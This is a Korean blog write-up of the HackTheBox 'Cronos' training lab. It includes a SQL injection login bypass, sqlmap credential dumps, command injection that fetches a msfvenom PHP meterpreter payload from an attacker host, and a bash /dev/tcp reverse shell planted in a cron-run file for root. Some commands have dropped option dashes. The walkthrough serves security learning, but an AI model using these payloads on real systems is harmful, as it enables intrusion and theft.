hackthebox

HackTheBox - Cronos

sheow13 2023. 11. 17. 14:27
728x90

 HackTheBox - Cronos환경 실습

 

 진행 절차

Step 1. HackTheBox 사용을 위해 Kali Linux에서 VPN 맺은 후, 정보 수집을 위해 mnap을 통해 확인해본 결과, HTTP, DNS, SSH가 Open되어 있음을 확인

[NMAP 조회 결과]

 

Step 2. HTTP로 접근 시 특이사항 없었으며, 디렉토리 스캔해본 결과,별다른 특이사항이 없는것으로 확인. DNS 포트가 활성화 되어 있어 IP가 아닌 도메인으로 구성이 되어 있을것으로 추측. 

 

[HTTP로 접근 시 Apache 디폴트 페이지가 뜨며 그 외에 특이사항이 없는 것으로 추측]

 

[디렉토리 스캔 시 추가 확인할만한 디렉토리가 없는 것으로 확인]

 

 

Step 3. DNS 서버에 10.10.10.13 IP의 도메인 조회 시, 'ns1.cronos.htb' 네임서버 alias 전달 받았으며, DNS 영역은 cronos.htb 인것을 식별. 전달받은 도메인을 통해 다시 요청 시, 해당 IP에 매핑되어 있는 도메인 정보를 수집. 수집한  

전달받았으며, 전달 받은 도메인을 '/etc/hosts'에 등록

명령어
root@kali#host 10.10.10.13 10.10.10.13

[DNS 서버인 '10.10.10.13' IP에 10.10.10.13 IP의 도메인 조회 요청]

명령어
root@kali#host l cronos.tb 10.10.10.13

[확인된 DNS를 통해 조회 시, 매핑되어 있는 도메인 확인]

 

명령어
root@kali#mousepad /etc/hosts

[식별된 도메인을 '/etc/hosts'에 등록]

 

Step 4. 도메인 등록한 페이지로 다시 접근 시, 앞서 접근했던 apache 디폴트페이지가 아닌 다른 페이지가 뜨는 것을 확인.  해당 페이지로 다시 디렉토리 스캔 시, 특이한 사항이 발견되지 않았으며, HackTheBox 실행 전 홈페이지에 SQL Injection 취약점이 있다는 정보를 토대로 SQL Injection 공격 수행 시 계정정보를 알지 못해도 관리자 계정으로 접근 가능 확인.

- SQL 인젝션 설명은 하기 링크 참조

https://sheow13.tistory.com/16

 

SQL Injection

 개요 - SQL(Structured Query Language)이란 DB를 조작하기 위한 질의어(언어)로, 데이터베이스를 구축하고 활용하기 위해 사용하는 언어이다. - 웹 페이지 상에서 표출되어 있는 대부분의 데이터들이

sheow13.tistory.com

 

[도메인으로 접근 시, 이전 IP로 접근했을 때와 다른 페이지 접근 가능 확인 및 관리자 페이지 노출]

명령어
root@kali#gobuster dir w /usr/share/seclists/Discovery/Web-Content/big.txt x php,html u http://cronos.htb

[디렉토리 스캔 결과 특이사항 발견 X]

 

[홈페이지에 SQL Injection 취약점이 있다는 정보 획득]

입력값
ID : ‘ OR 1=1;#
PW : 어떠한 값을 입력해도 상관없음

[관리자 페이지에 form based SQL Injection 시도]

 

[관리자 페이지 접근 가능 확인]

 

기타 방법. SQLmap을 통한 SQL Injection 취약점 여부 확인

 

1. 로그인 시, 어떠한 방식(Ex, GET, POST)으로 로그인 시도 하는지 확인

  - 개발자 도구 또는 웹 프록시를 통해 확인 가능

[개발자 도구를 통해 로그인 시도 시 GET 방식인지 POST 방식인지 확인]

 

2. SQLMap을 통해 스캔하여 데이터베이스 테이블 정보 등을 탈취

명령어
root@kali#sqlmap u “http://admin.cronos.htb” --data=“username=admin&password=admin” --batch risk=3 level=3 --tables

 

SQLMap 옵션 설명
-u - 점검하고자 하는 URL 입력
--data - POST로 요청하는 파라미터 점검
--cookie - 로그인을 해야 서비스 이용 가능한 웹페이지 점검 시 사용
--batch - SQLMap 점검 과정에서 사용자에게 묻지 않고 디폴트 값으로 진행
--risk - SQLMap 점검하는 과정에서 risk를 어떻게 설정할건지 설정
(디폴트는 1이며, 높을수록 시스템에 영향이 생길 가능성이 커짐)
--level - SQLMap 점검하는 과정에서 level을 어떻게 설정할건지 설정
(디폴트는 1이며, 높을수록 점검하는 항목 및 디테일하게 점검)
--tables - 데이터베이스 테이블 정보만 출력하도록 설정
-D - 식별된 데이터베이스를 지정하는 옵션
-T - 식별된 테이블을 지정하는 옵션
--dbms - 식별된 DBMS를 지정하는 옵션
-a - 모든 데이터베이스, 테이블 정보들을 출력하는 옵션
--dump - DBMS 데이터베이스 테이블 엔트리를 덤프

 

[SQLMap을 통해 사용하고 있는 데이터베이스명 및 테이블명 확인]

명령어
root@kali#sqlmap u “http://admin.cronos.htb” --data=“username=admin&password=admin” --batch risk=3 level=3 D admin T users --dump

[식별된 테이블 덤프 시 계정 및 패스워드 정보 확인]

 

3. 식별된 패스워드 crack 시도

- 이번에는 패스워드 crack 실패 하였으나, 해당 방법등을 토대로 패스워드 수집 후 접근 하는 방법도 존재

명령어
root@kali#hashcat a m0 [암호화 된 패스워드]

[확인된 패스워드 crack 시도 하였으나 실패]

 

 

Step 5. 접근한 페이지 확인 시 웹에서 시스템 명령어를 사용할 수 있는 것으로 추측되어 시스템 명령어 입력 시 정상 동작 확인. 이를 통해 리버스 쉘을 실행할 수 있을 것으로 판단. netcat 명령어를 사용하여 직접 리버스 쉘을 붙으려고 했으나 연결 뒤 바로 끊어지는 것을 확인. 파일 업로드를 통해 리버스 쉘 연결 시도 시, 정상적으로 리버스 쉘 획득 성공

 

[시스템 명령어 입력 시 정상 동작 확인]

 

명령어
root@kali#msfvenom p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4444 f raw o reverse.php

[리버스 쉘 연결을 위한 쉘 코드 생성]

명령어
root@kali#python3 m http.server 80

[생성한 쉘 코드 업로드를 하기 위해 서버 오픈]

 

입력값
8.8.8.8; wget http://10.10.14.2/reverse.php

[생성한 쉘 코드 다운로드 시도]
[생성한 쉘 코드로 접근]

명령어
root@kali#msfvenom p php/meterpreter/reverse_tcp lhost=[Kali IP] lport=[listen port] -o reverse.php
msf6>msfconsole
msf6>use exploit/multi/handler
msf6 exploit(multi/handler)>set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler)>set lhost [Kali IP]
msf6 exploit(multi/handler)>set lport [Kali Port]
msf6 exploit(multi/handler)>exploit

 

[생성한 쉘 코드로 리버스 쉘 연결 성공]

 

 

Step 6. 권한 상승을 위하여 리눅스 점검 도구인 'linpeas.sh' 업로드 후 점검 시에, cron을 통해 'artisan.php'가 동작하고 있는 것으로 확인. 해당 파일 소유자가 '/var/www/html'로 되어 있어 변경 가능한 것으로 확인하여 리버스 쉘 업로드 시 루트 권한으로 리버스 쉘 획득 성공 확인

명령어
meterpreter > shell
python3 c ‘import pty;pty.spawn(“/bin/bash”)’
www-data@cronos:wget http://10.10.14.2/linpeas.sh
www-data@cronos:chmod 777 linpeas.sh
www-data@cronos::./linpeas.sh

[리버스 쉘 획득 확인 및 리눅스 점검 도구인 linpeas 실행]

 

[linpeas 점검 과정에서 'artisan.php' 파일이 스케쥴링을 통해 동작하고 있음을 확인]

 

['artisan' 파일 소유자가 www-data로 되어 있어 수정 가능한 것을 확인]

명령어
www-data@cronos$echo '<?php exec("/bin/bash -c '"'"'bash -i >& /dev/tcp/10.10.14.2/3333 0>&1'"'"'");' > /var/www/laravel/artisan

[리버스 쉘을 위한 쉘코드 삽입]

 

[루트 권한의 리버스 쉘 획득 확인]

'hackthebox' 카테고리의 다른 글

HackTheBox - Sense  (0) 2023.11.29
HackTheBox - Nineveh  (0) 2023.11.22
HackTheBox - Beep  (0) 2023.11.15
HackTheBox - Nibbles  (0) 2023.11.14
HackTheBox - Bashed  (2) 2023.11.13